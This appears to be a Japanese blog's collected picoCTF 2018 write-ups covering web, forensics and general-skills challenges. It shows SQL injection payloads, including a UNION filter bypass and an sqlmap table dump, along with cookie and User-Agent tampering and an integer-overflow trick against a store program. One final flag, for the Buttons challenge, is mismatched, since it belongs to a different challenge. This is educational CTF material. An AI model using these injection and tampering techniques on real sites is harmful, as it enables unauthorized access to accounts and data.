satto.hatenadiary.com

Web Exploitation

Inspect Me - Points: 125

Inpect this code! http://2018shell1.picoctf.com:35349

アプローチ:Chromeデベロッパーツールを使う

デベロッパーツールを使い,htmlcssソースコードを確認するとコメントとしてflagの断片があります.

html
picoCTF{ur_4_real_1nspe
css
ct0r_g4dget_098df0d0}

picoCTF{ur_4_real_1nspect0r_g4dget_098df0d0}

Client Side is Still Bad - Points: 150

I forgot my password again, but this time there doesn't seem to be a reset, can you help me? Super Secure Log In

アプローチ:クライアントサイドのソースコードを確認

デベロッパーツールでスクリプトを確認すると以下のようなコードがあり,簡単にパスワードが判明します.

<script type="text/javascript">
  function verify() {
    checkpass = document.getElementById("pass").value;
    split = 4;
    if (checkpass.substring(split*7, split*8) == '}') {
      if (checkpass.substring(split*6, split*7) == 'd366') {
        if (checkpass.substring(split*5, split*6) == 'd_3b') {
         if (checkpass.substring(split*4, split*5) == 's_ba') {
          if (checkpass.substring(split*3, split*4) == 'nt_i') {
            if (checkpass.substring(split*2, split*3) == 'clie') {
              if (checkpass.substring(split, split*2) == 'CTF{') {
                if (checkpass.substring(0,split) == 'pico') {
                  alert("You got the flag!")
                  }
                }
              }
            }
          }
        }
      }
    }
    else {
      alert("Incorrect password");
    }
  }
</script>

picoCTF{client_is_bad_3bd366}

Logon - Points: 150

I made a website so now you can log on to! I don't seem to have the admin password. See if you can't get to the flag. My New Website

アプローチ:cookieの書き換え

とりあえずadminでログインしようとすると

I'm sorry the admin password is super secure. You're not getting in that way.

適当なUID,PASSでログイン(a,a)しようとすると

Success: You logged in! Not sure you'll be able to see the flag though.
No flag for you

と言われます.

そこでデベロッパーツールを開いてcookieを確認します.
adminFalseで保存されていることに気づきます.
Trueに書き換えてリロードします.
picoCTF{l0g1ns_ar3nt_r34l_2a968c11}

Irish Name Repo - Points: 200

There is a website running at http://2018shell1.picoctf.com:52012 (link). Do you think you can log us in? Try to see if you can login!

アプローチ:SQLi

Support画面を見てみると以下のような記述があります.

Cannot add name Hi. I tried adding my favorite Irish person, Conan O'Brien. But I keep getting something called a SQL Error That's because Conan O'Brien is American.

シングルクォーテーションでSQL Errorがでてることが分かります.
なのでAdmin Log InフォームのUsername:' or 1 = 1 --すると

Logged in!
Your flag is: picoCTF{con4n_r3411y_1snt_1r1sh_c0d93e2f}

picoCTF{con4n_r3411y_1snt_1r1sh_c0d93e2f}

Mr. Robots - Points: 200

Do you see the same things I see? The glimpses of the flag hidden away? http://2018shell1.picoctf.com:10157 (link)

アプローチ:robots.txt

問題文的にrobots.txtのことだと思ったので/robots.txtを見に行きます.

User-agent: *
Disallow: /143ce.html

/143ce.htmlが怪しいことが分かるのでアクセスしてみます.

So much depends upon a red flag
picoCTF{th3_w0rld_1s_4_danger0us_pl4c3_3lli0t_143ce}

picoCTF{th3_w0rld_1s_4_danger0us_pl4c3_3lli0t_143ce}

No Login - Points: 200

Looks like someone started making a website but never got around to making a login, but I heard there was a flag if you were the admin. http://2018shell1.picoctf.com:52920(link)

アプローチ:cookieの追加

webページに移動するとFlagボタンがあるのでおしてみると

I'm sorry it doesn't look like you are the admin.

flagのレスポンスヘッダを確認してみるとVary: Cookieとなっています.
cookie次第で表示内容を変えているようです.

とりあえずadminというcookieを値1で追加してみます.

Flag:
picoCTF{n0l0g0n_n0_pr0bl3m_3184f702}

picoCTF{n0l0g0n_n0_pr0bl3m_3184f702}

結構な悪問なのでは?(エスパーが必要なため)

Secret Agent - Points: 200

Here's a little website that hasn't fully been finished. But I heard google gets all your info anyway. http://2018shell1.picoctf.com:11421 (link)

アプローチ:UserAgentの変更

FlagボタンをクリックするとUserAgentが表示されることが分かります.

You're not google! Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36

You're not google!

と言われてるのでUAを変更します.

Chromeなら
デベロッパーツール -> More tools -> Network conditions -> User agent で変更できます

UAGooglebotに変更して再度ボタンをクリックすると

picoCTF{s3cr3t_ag3nt_m4n_ed3fe08d}

Buttons - Points: 250

There is a website running at http://2018shell1.picoctf.com:21579(link) . Try to see if you can push their buttons.

アプローチ:POST

  1. 1つめのボタンを押す
  2. 2つめのボタンのページ
  3. 2つめのボタンを押す
  4. boo.htmlにとばされる

2つの違いは
<form action="button1.php" method="POST">
<a href="button2.php">Button2</a>
なのでbutton2.phpに対してPOSTをなげます.

> curl -X POST http://2018shell1.picoctf.com:21579/button2.php
Well done, your flag is: picoCTF{button_button_whose_got_the_button_ed306c10}%

picoCTF{delusions_about_finding_values_3cc386de}

The Vault - Points: 250

There is a website running at http://2018shell1.picoctf.com:64349 (link) . Try to see if you can login!

<?php
  ini_set('error_reporting', E_ALL);
  ini_set('display_errors', 'On');

  include "config.php";
  $con = new SQLite3($database_file);

  $username = $_POST["username"];
  $password = $_POST["password"];
  $debug = $_POST["debug"];
  $query = "SELECT 1 FROM users WHERE name='$username' AND password='$password'";

  if (intval($debug)) {
    echo "<pre>";
    echo "username: ", htmlspecialchars($username), "\n";
    echo "password: ", htmlspecialchars($password), "\n";
    echo "SQL query: ", htmlspecialchars($query), "\n";
    echo "</pre>";
  }

  //validation check
  $pattern ="/.*['\"].*OR.*/i";
  $user_match = preg_match($pattern, $username);
  $password_match = preg_match($pattern, $username);
  if($user_match + $password_match > 0)  {
    echo "<h1>SQLi detected.</h1>";
  }
  else {
    $result = $con->query($query);
    $row = $result->fetchArray();

    if ($row) {
      echo "<h1>Logged in!</h1>";
      echo "<p>Your flag is: $FLAG</p>";
    } else {
      echo "<h1>Login failed.</h1>";
    }
  }

?>

アプローチ:UNION

コードから普通にSQLiしようとするとvalidation checkORが引っかかることが分かります. なので今回はUNIONを使います.

' UNION SELECT 1 FROM users -- とするとvalidation checkを回避できます.

picoCTF{w3lc0m3_t0_th3_vau1t_e4ca2258}

A Simple Question - Points: 650

There is a website running at http://2018shell1.picoctf.com:2644 (link). Try to see if you can answer its question.

アプローチ:Blind SQLi

'を入力

SQL query: SELECT * FROM answers WHERE answer='''

Warning: SQLite3::query(): Unable to prepare statement: 1, unrecognized token: "'''" in /problems/a-simple-question_4_66cdb0641702e04c08c3830fa64316d2/webroot/answer2.php on line 15

Fatal error: Uncaught Error: Call to a member function fetchArray() on boolean in /problems/a-simple-question_4_66cdb0641702e04c08c3830fa64316d2/webroot/answer2.php:17 Stack trace: #0 {main} thrown in /problems/a-simple-question_4_66cdb0641702e04c08c3830fa64316d2/webroot/answer2.php on line 17

' or 1=1 --を入力

SQL query: SELECT * FROM answers WHERE answer='' or 1=1 --'
You are so close.

aを入力

SQL query: SELECT * FROM answers WHERE answer='a'
Wrong.

answerクエリがTrueになったときの反応が通常入力と異なることが分かります.
Blind SQLiチャンスですね.

ゆとりなのでsqlmapを使います.
スクリプト書いたほうが汎用性があると思います.

> sqlmap -u "http://2018shell1.picoctf.com:2644/answer2.php" --data="answer=1" -T answers --dump

~~略~~

[00:23:45] [INFO] retrieved: 41AndSixSixths
Database: SQLite_masterdb
Table: answers
[1 entry]
+----------------+
| answer         |
+----------------+
| 41AndSixSixths |
+----------------+

answer41AndSixSixthsであることが分かります.

SQL query: SELECT * FROM answers WHERE answer='41AndSixSixths'
Perfect!
Your flag is: picoCTF{qu3stions_ar3_h4rd_28fc1206}

picoCTF{qu3stions_ar3_h4rd_28fc1206}

まとめ

  • web問難しくて全然とけない
  • 前提知識がかなり必要になってくるので分からない問題はアプローチすら浮かばない
  • がんばる

picoCTF 2018 Write-up [Forensics]

まえがき

前回の続きです.
今回はForensicsのWrite-upを書こうと思います.

satto.hatenadiary.com

Forensics

Forensics Warmup 1 - Points: 50

Can you unzip this file for me and retreive the flag?

f:id:satto1237:20181015165900j:plain

アプローチ:読む

jpgを開く picoCTF{welcome_to_forensics}

Forensics Warmup 2 - Points: 50

Hmm for some reason I can't open this PNG? Any ideas?

アプローチ:ファイル形式を確認

> file flag.png
flag.png: JPEG image data, JFIF standard 1.01, resolution (DPI), density 75x75, segment length 16, baseline, precision 8, 909x190, frames 3
> mv flag.png flag.jpg

picoCTF{extensions_are_a_lie}

f:id:satto1237:20181015170154j:plain

Reading Between the Eyes - Points: 150

Stego-Saurus hid a message for you in this image, can you retreive it?

f:id:satto1237:20181015171132p:plain

アプローチ:steganographyツールを使う

解く方法は色々とある

picoCTF{r34d1ng_b37w33n_7h3_by73s}

Recovering From the Snap - Points: 150

There used to be a bunch of animals here, what did Dr. Xernon do to them?

アプローチ:foremost

> file animals.dd
animals.dd: DOS/MBR boot sector, code offset 0x3c+2, OEM-ID "mkfs.fat", sectors/cluster 4, root entries 512, sectors 20480 (volumes <=32 MB), Media descriptor 0xf8, sectors/FAT 20, sectors/track 32, heads 64, serial number 0x9b664dde, unlabeled, FAT (16 bit)
> foremost animals.dd
Processing: animals.dd
|*|

f:id:satto1237:20181015172715p:plain

picoCTF{th3_5n4p_happ3n3d}

admin panel - Points: 150

We captured some traffic logging into the admin panel, can you find the password?

アプローチ:通信内容を確認する

pcap形式でファイルが渡されるので普通はwiresharktsharkを使いますが今回は通信が暗号化されていないのでstringsの結果をgrepするだけでできます.

> strings data.pcap | grep picoCTF
user=admin&password=picoCTF{n0ts3cur3_13597b43}

picoCTF{n0ts3cur3_13597b43}

hex editor - Points: 150

This cat has a secret to teach you. You can also find the file in /problems/hex-editor_2_c1a99aee8d919f6e42697662d798f0ff on the shell server.

f:id:satto1237:20181015173851j:plain

アプローチ:バイナリファイルの可読部分を表示する

> strings hex_editor.jpg | grep pico
Your flag is: "picoCTF{and_thats_how_u_edit_hex_kittos_22C1d865}"

picoCTF{and_thats_how_u_edit_hex_kittos_22C1d865}

Truly an Artist - Points: 200

Can you help us find the flag in this Meta-Material? You can also find the file in /problems/truly-an-artist_2_61a3ed7216130ab1c2b2872eeda81348.

f:id:satto1237:20181015175052p:plain アプローチ:ファイルのメタ情報を確認

exiftoolでメタ情報を確認するとflagがでます.
stringsgrepするだけでもできます

> exiftool 2018.png 
ExifTool Version Number         : 11.10
File Name                       : 2018.png
Directory                       : .
File Size                       : 13 kB
File Modification Date/Time     : 2018:09:28 17:26:37+09:00
File Access Date/Time           : 2018:10:15 17:44:40+09:00
File Inode Change Date/Time     : 2018:10:15 17:42:36+09:00
File Permissions                : rwxrwx---
File Type                       : PNG
File Type Extension             : png
MIME Type                       : image/png
Image Width                     : 1200
Image Height                    : 630
Bit Depth                       : 8
Color Type                      : RGB
Compression                     : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Noninterlaced
Artist                          : picoCTF{look_in_image_7e31505f}
Image Size                      : 1200x630
Megapixels                      : 0.756

picoCTF{look_in_image_7e31505f}

now you don't - Points: 200

We heard that there is something hidden in this picture. Can you find it?

アプローチ:画像処理

ダウンロードしたpngコントラストを調整するとflagが見えます.

picoCTF{n0w_y0u_533_m3}

f:id:satto1237:20181015180023p:plain

f:id:satto1237:20181015180036p:plain

Lying Out - Points: 250

Some odd traffic has been detected on the network, can you identify it? More info here. Connect with nc 2018shell1.picoctf.com 50875 to help us answer some questions.

f:id:satto1237:20181015180436p:plain

You've been given a dataset of 4800 internet traffic logs for your
organization's website. This dataset covers the number of unique IP addresses
sending requests to the site in 15-minute "buckets", across a 24-hour day.
The attached plot will help you see the daily pattern of traffic. You should
see 3 spikes of traffic: one in the morning, one at midday, and one in the
evening.

Your organization needs your help to figure out whether some recent activity
indicates unusual behavior. It looks like some logs have higher-than-usual
traffic in their time bucket: many more unique IP addresses are trying to
access the site than usual. This might be evidence that someone is trying to
do something shady on your site.

アプローチ:traffic.pngを見ながら質問に答える

> nc 2018shell1.picoctf.com 50875
You'll need to consult the file `traffic.png` to answer the following questions.


Which of these logs have significantly higher traffic than is usual for their time of day? You can see usual traffic on the attached plot. There may be multiple logs with higher than usual traffic, so answer all of them! Give your answer as a list of `log_ID` values separated by spaces. For example, if you want to answer that logs 2 and 7 are the ones with higher than usual traffic, type 2 7.
    log_ID      time  num_IPs
0        0  01:30:00     9726
1        1  02:45:00    11578
2        2  02:45:00     9846
3        3  02:45:00     9971
4        4  03:15:00    10155
5        5  04:15:00    11583
6        6  06:15:00    11589
7        7  09:30:00     9874
8        8  11:00:00    11016
9        9  12:00:00    14125
10      10  12:00:00    13715
11      11  13:00:00    12936
12      12  20:45:00     9925
13      13  20:45:00    10282
1 5 6 11
Correct!


Great job. You've earned the flag: picoCTF{w4y_0ut_ff5bd19c}

picoCTF{w4y_0ut_ff5bd19c}

What's My Name? - Points: 250

Say my name, say my name.

アプローチ:say my nameはDNS

6.5MB程度のmyname.pcapが降ってきます. まともに当該パケットを探すと大変そうなので問題文に従い,dns関連パケットを確認します.
picoCTF{w4lt3r_wh1t3_ddfad6f8f4255adc73e862e3cebeee9d}

まとめ

picoCTF 2018 Write-up [General Skills]

picoCTFとは

PICOCTF IS A FREE COMPUTER SECURITY GAME TARGETED AT MIDDLE AND HIGH SCHOOL STUDENTS. THE GAME CONSISTS OF A SERIES OF CHALLENGES CENTERED AROUND A UNIQUE STORYLINE WHERE PARTICIPANTS MUST REVERSE ENGINEER, BREAK, HACK, DECRYPT, OR DO WHATEVER IT TAKES TO SOLVE THE CHALLENGE. picoctf.com

成績

1人で参加してこんな感じでした.
591位/10999チーム(参加人数:27000人以上)

f:id:satto1237:20181015123829p:plain

f:id:satto1237:20181015123928p:plain

まえがき

picoCTFは問題数が多いのでジャンル毎にwrite-upを書いていこうと思います.

General Skills

General Skillsではコンピュータサイエンスに関わる基本的な問題が出題されます.

General Warmup 1 - Points: 50

If I told you your grade was 0x41 in hexadecimal, what would it be in ASCII?

アプローチ:ASCII

picoCTF{A}

General Warmup 2 - Points: 50

Can you convert the number 27 (base 10) to binary (base 2)?

アプローチ:2進数

picoCTF{11011}

General Warmup 3 - Points: 50

What is 0x3D (base 16) in decimal (base 10)?

アプローチ:16進数

picoCTF{61}

Resources - Points: 50

We put together a bunch of resources to help you out on our website! If you go over there, you might even find a flag!
https://picoctf.com/resources

アプローチ:ページのリソースを読む

リンク先にフラグが記述されています

Thanks for reading the resources page! Here’s a flag for your time: picoCTF{xiexie_ni_lai_zheli}

picoCTF{xiexie_ni_lai_zheli}

grep 1 - Points: 75

Can you find the flag in file? This would be really obnoxious to look through by hand, see if you can find a faster way. You can also find the file in /problems/grep-1_2_ee2b29d2f2b29c65db957609a3543418 on the shell server.

アプローチ:grep

> grep picoCTF file
picoCTF{grep_and_you_will_find_42783683}

picoCTF{grep_and_you_will_find_42783683}

net cat - Points: 75

Using netcat (nc) will be a necessity throughout your adventure. Can you connect to 2018shell1.picoctf.com at port 10854 to get the flag?

アプローチ:nc

> nc 2018shell1.picoctf.com 10854
That wasn't so hard was it?
picoCTF{NEtcat_iS_a_NEcESSiTy_c97963fe}

picoCTF{NEtcat_iS_a_NEcESSiTy_c97963fe}

strings - Points: 100

Can you find the flag in this file without actually running it? You can also find the file in /problems/strings_2_b7404a3aee308619cb2ba79677989960 on the shell server.

アプローチ:strings

> strings strings | grep pico
picoCTF{sTrIngS_sAVeS_Time_3f712a28}

picoCTF{sTrIngS_sAVeS_Time_3f712a28}

pipe - Points: 110

During your adventure, you will likely encounter a situation where you need to process data that you receive over the network rather than through a file. Can you find a way to save the output from this program and search for the flag? Connect with 2018shell1.picoctf.com 37542.

アプローチ:ncとgrepをパイプでつなぐ

> nc 2018shell1.picoctf.com 37542 | grep picoCTF
picoCTF{almost_like_mario_a6975cdb}

picoCTF{almost_like_mario_a6975cdb}

grep 2 - Points: 125

This one is a little bit harder. Can you find the flag in /problems/grep-2_1_ef31faa711ad74321a7467978cb0ef3a/files on the shell server? Remember, grep is your friend.

アプローチ:grepのオプションを使う

シェルサーバの指定されたディレクトリに移動すると複数のファイルがある.
この中からflagを見つける必要があるのでgrep-rを使う.

satto1237@pico-2018-shell-1:/problems/grep-2_1_ef31faa711ad74321a7467978cb0ef3a/files$ ls
files0  files1  files2  files3  files4  files5  files6  files7  files8  files9
satto1237@pico-2018-shell-1:/problems/grep-2_1_ef31faa711ad74321a7467978cb0ef3a/files$ cd ..
satto1237@pico-2018-shell-1:/problems/grep-2_1_ef31faa711ad74321a7467978cb0ef3a$ ls
files
satto1237@pico-2018-shell-1:/problems/grep-2_1_ef31faa711ad74321a7467978cb0ef3a$ grep -r "picoCTF" files
files/files9/file13:picoCTF{grep_r_and_you_will_find_4baaece4}

picoCTF{grep_r_and_you_will_find_4baaece4}

Aca-Shell-A - Points: 150

It's never a bad idea to brush up on those linux skills or even learn some new ones before you set off on this adventure! Connect with nc 2018shell1.picoctf.com 6903.

アプローチ:基本的なlinuxコマンドの使い方を知る

ncすると状況に合わせてlinuxのコマンドを入力しろという問題が降ってくるのであれこれ入力する.

ls
cd secret
ls
rm i*
echo 'Drop it in!'
cd ..
cd executables
./dontLookHere
whoami
cd ..
cp /tmp/TopSecret passwords
cd passwords
ls
cat passwords

picoCTF{CrUsHeD_It_dddcec58}

cpの挙動がおかしくて解くのにかなり時間がかかった(cpが正常に実行されない)
cp /tmp/TopSecret passwordsと入力しているはずなのになぜかpasswordsTopSecretがコピーされなかった.

environ - Points: 150

Sometimes you have to configure environment variables before executing a program. Can you find the flag we've hidden in an environment variable on the shell server?

アプローチ:環境変数を表示する

satto1237@pico-2018-shell-1:~$ printenv
SECRET_FLAG=picoCTF{eNv1r0nM3nT_v4r14Bl3_fL4g_3758492}
FLAG=Finding the flag wont be that easy...

picoCTF{eNv1r0nM3nT_v4r14Bl3_fL4g_3758492}

ssh-keyz - Points: 150

As nice as it is to use our webshell, sometimes its helpful to connect directly to our machine. To do so, please add your own public key to ~/.ssh/authorized_keys, using the webshell. The flag is in the ssh banner which will be displayed when you login remotely with ssh to with your username.

アプローチ:sshする

ssh-keygenしてからssh-copy-idするとflagが降ってきます.
picoCTF{who_n33ds_p4ssw0rds_38dj21}

what base is this? - Points: 200

To be successful on your mission, you must be able read data represented in different ways, such as hexadecimal or binary. Can you get the flag from this program to prove you are ready? Connect with nc 2018shell1.picoctf.com 15853

アプローチ:変換スクリプト書いてあげる

> nc 2018shell1.picoctf.com 15853
We are going to start at the very beginning and make sure you understand how data is stored.
Please give me the 01100011 01100001 01101011 01100101 as a word.
To make things interesting, you have 30 seconds.
Input:
cake
Please give me the 737469746368 as a word.
Input:
stitch
Please give me the  147 151 155 160 as a word.
Input:
gimp
You got it! You're super quick!
Flag: picoCTF{delusions_about_finding_values_3cc386de}
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import binascii

def b2a(str):
    bins = str.split(' ')
    ascii = [chr(int(x,2)) for x in bins]
    print(''.join(ascii))

def h2a(str):
    print(binascii.unhexlify(str))

def o2a(str):
    octs = str.split(' ')
    ascii = [chr(int(x,8)) for x in octs]
    print(''.join(ascii))

you can't see me - Points: 200

'...reading transmission... Y.O.U. .C.A.N.'.T. .S.E.E. .M.E. ...transmission ended...' Maybe something lies in /problems/you-can-t-see-me_4_8bd1412e56df49a3c3757ebeb7ead77f

アプローチ:viewコマンド

とりあえずシェルサーバの指定されたディレクトリに移動してls -laしてみると怪しいdotファイルがあることがわかります.

satto1237@pico-2018-shell-1:/problems/you-can-t-see-me_4_8bd1412e56df49a3c3757ebeb7ead77f$ ls -la
total 60
drwxr-xr-x   2 root       root        4096 Sep 28 08:29 .
-rw-rw-r--   1 hacksports hacksports    57 Sep 28 08:29 .
drwxr-x--x 576 root       root       53248 Sep 30 03:45 ..

catでdotファイルを見ようとするとカレントディレクトリである.を見ようとしてしまうためviewを使います.

picoCTF{j0hn_c3na_paparapaaaaaaa_paparapaaaaaa_22f627d9}

absolutely relative - Points: 250

In a filesystem, everything is relative ¯_(ツ)_/¯. Can you find a way to get a flag from this program? You can find it in /problems/absolutely-relative_4_bef88c36784b44d2585bb4d2dbe074bd on the shell server. Source.

#include <stdio.h>
#include <string.h>

#define yes_len 3
const char *yes = "yes";

int main()
{
    char flag[99];
    char permission[10];
    int i;
    FILE * file;


    file = fopen("/problems/absolutely-relative_4_bef88c36784b44d2585bb4d2dbe074bd/flag.txt" , "r");
    if (file) {
        while (fscanf(file, "%s", flag)!=EOF)
        fclose(file);
    }

    file = fopen( "./permission.txt" , "r");
    if (file) {
        for (i = 0; i < 5; i++){
            fscanf(file, "%s", permission);
        }
        permission[5] = '\0';
        fclose(file);
    }

    if (!strncmp(permission, yes, yes_len)) {
        printf("You have the write permissions.\n%s\n", flag);
    } else {
        printf("You do not have sufficient permissions to view the flag.\n");
    }

    return 0;
}

アプローチ:相対パス

プログラムを読む限り,permission.txtを読み込み,中身がyesである場合フラグを表示してくれることが分かります.
さっそくpermission.txtを作成しようしますが,/problems/absolutely-relative_4_bef88c36784b44d2585bb4d2dbe074bdではファイルの作成権限がないようです.

仕方ないので/home/satto1237に移動し,permission.txtを作成します.
その後,absolutely-relativeを実行すればflagがとれます.

satto1237@pico-2018-shell-1:~$ /problems/absolutely-relative_4_bef88c36784b44d2585bb4d2dbe074bd/absolutely-relative
You have the write permissions.
picoCTF{3v3r1ng_1$_r3l3t1v3_3b69633f}

picoCTF{3v3r1ng_1$_r3l3t1v3_3b69633f}

in out error - Points: 275

Can you utlize stdin, stdout, and stderr to get the flag from this program? You can also find it in /problems/in-out-error_2_c33e2a987fbd0f75e78481b14bfd15f4 on the shell server

アプローチ:入出力をパイプでつなぐ

とりあえず実行してみると文字が沢山出力されます.

satto1237@pico-2018-shell-1:/problems/in-out-error_2_c33e2a987fbd0f75e78481b14bfd15f4$ ./in-out-error
Hey There!
If you want the flag you have to ask nicely for it.
Enter the phrase "Please may I have the flag?" into stdin and you shall receive.
Please may I have the flag?
Thank you for asking so nicely!

pWiec'orCeT Fn{op 1spt1rnagn_g1eSr_s4 _t7oh 1lnogv_eb
6Yfo5ua 7k8n8o}wp itchoeC TrFu{lpe1sp 1anngd_ 1sSo_ 4d_o7 hI1
nAg _fbu6lfl5 ac7o8m8m}iptimceonCtT'Fs{ pw1hpa1tn gI_'1mS _t4h_i7nhk1inngg_ bo6ff
5Yao7u8 8w}opuilcdonC'TtF {gpe1tp 1tnhgi_s1 Sf_r4o_m7 ha1nnyg _obt6hfe5ra 7g8u8y}
p
iIc ojCuTsFt{ pw1apn1nnag _t1eSl_l4 _y7ohu1 nhgo_wb 6If'5ma 7f8e8e}lpiincgo
CGToFt{tpa1 pm1ankge_ 1ySo_u4 _u7nhd1enrgs_tba6nfd5
a
7N8e8v}epri cgooCnTnFa{ pg1ipv1en gy_o1uS _u4p_
7Nhe1vnegr_ bg6ofn5naa7 8l8e}tp iycoouC TdFo{wpn1
pN1envge_r1 Sg_o4n_n7ah 1rnugn_ ba6rfo5uan7d8 8a}npdi cdoeCsTeFr{tp 1ypo1un
gN_e1vSe_r4 _g7ohn1nnag _mba6kfe5 ay7o8u8 }cpriyc
oNCeTvFe{rp 1gpo1nnnga_ 1sSa_y4 _g7oho1dnbgy_eb
6Nfe5vae7r8 8g}opnincao CtTeFl{lp 1ap 1lnige_ 1aSn_d4 _h7uhr1tn gy_obu6
f
gN_e1vSe_r4 _g7ohn1nnag _gbi6vfe5 ay7o8u8 }uppi
cNoeCvTeFr{ pg1opn1nnag _l1eSt_ 4y_o7uh 1dnogw_nb
6Nfe5vae7r8 8g}opnincao CrTuFn{ pa1rpo1unngd_ 1aSn_d4 _d7ehs1enrgt_ by6ofu5
aN7e8v8e}rp igcoonCnTaF {mpa1kpe1 nygo_u1 Sc_r4y_
7Nhe1vnegr_ bg6ofn5naa7 8s8a}yp igcoooCdTbFy{ep
1Npe1vnegr_ 1gSo_n4n_a7 ht1enlgl_ ba6 fl5iae7 8a8n}dp ihcuorCtT Fy{opu1
p
...

grepしたくなるのでパイプでつなぎます.

satto1237@pico-2018-shell-1:/problems/in-out-error_2_c33e2a987fbd0f75e78481b14bfd15f4$ echo "Please may I have the flag?" | ./in-out-error | grep picoCTF
picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF
{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng
_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7
h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6
f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}
picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF
{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng
_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7
h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6
f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}
picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF
{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng
_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7
h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6
f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}
picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF
{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}

picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}

store - Points: 400

We started a little store, can you buy the flag? Source.
Connect with 2018shell1.picoctf.com 5795.

#include <stdio.h>
#include <stdlib.h>
int main()
{
    int con;
    con = 0;
    int account_balance = 1100;
    while(con == 0){

        printf("Welcome to the Store App V1.0\n");
        printf("World's Most Secure Purchasing App\n");

        printf("\n[1] Check Account Balance\n");
        printf("\n[2] Buy Stuff\n");
        printf("\n[3] Exit\n");
        int menu;
        printf("\n Enter a menu selection\n");
        fflush(stdin);
        scanf("%d", &menu);
        if(menu == 1){
            printf("\n\n\n Balance: %d \n\n\n", account_balance);
        }
        else if(menu == 2){
            printf("Current Auctions\n");
            printf("[1] I Can't Believe its not a Flag!\n");
            printf("[2] Real Flag\n");
            int auction_choice;
            fflush(stdin);
            scanf("%d", &auction_choice);
            if(auction_choice == 1){
                printf("Imitation Flags cost 1000 each, how many would you like?\n");

                int number_flags = 0;
                fflush(stdin);
                scanf("%d", &number_flags);
                if(number_flags > 0){
                    int total_cost = 0;
                    total_cost = 1000*number_flags;
                    printf("\nYour total cost is: %d\n", total_cost);
                    if(total_cost <= account_balance){
                        account_balance = account_balance - total_cost;
                        printf("\nYour new balance: %d\n\n", account_balance);
                    }
                    else{
                        printf("Not enough funds\n");
                    }
                }
            }
            else if(auction_choice == 2){
                printf("A genuine Flag costs 100000 dollars, and we only have 1 in stock\n");
                printf("Enter 1 to purchase");
                int bid = 0;
                fflush(stdin);
                scanf("%d", &bid);

                if(bid == 1){

                    if(account_balance > 100000){
                        printf("YOUR FLAG IS:\n");
                        }

                    else{
                        printf("\nNot enough funds for transaction\n\n\n");
                    }}

            }
        }
        else{
            con = 1;
        }

    }
    return 0;
}

アプローチ:Integer Overflow

コードから残金が100000ドルを超えるとフラグを取得できることが読み取れます.
しかし,初期の残金は1100ドルであり,増やす方法はないように思われます.

ここでInteger Overflowを使います.

以下のコードのnumber_flagsIOFの余地があります.
1000*number_flagsintの最大値を超えるような値を入力すれば total_costが負の値になり,残金が増えます.

if(auction_choice == 1){
    printf("Imitation Flags cost 1000 each, how many would you like?\n");

    int number_flags = 0;
    fflush(stdin);
    scanf("%d", &number_flags);
    if(number_flags > 0){
        int total_cost = 0;
        total_cost = 1000*number_flags;
        printf("\nYour total cost is: %d\n", total_cost);
        if(total_cost <= account_balance){
            account_balance = account_balance - total_cost;
            printf("\nYour new balance: %d\n\n", account_balance);
        }
        else{
            printf("Not enough funds\n");
        }

    }

}
> nc 2018shell1.picoctf.com 5795
Welcome to the Store App V1.0
World's Most Secure Purchasing App

[1] Check Account Balance

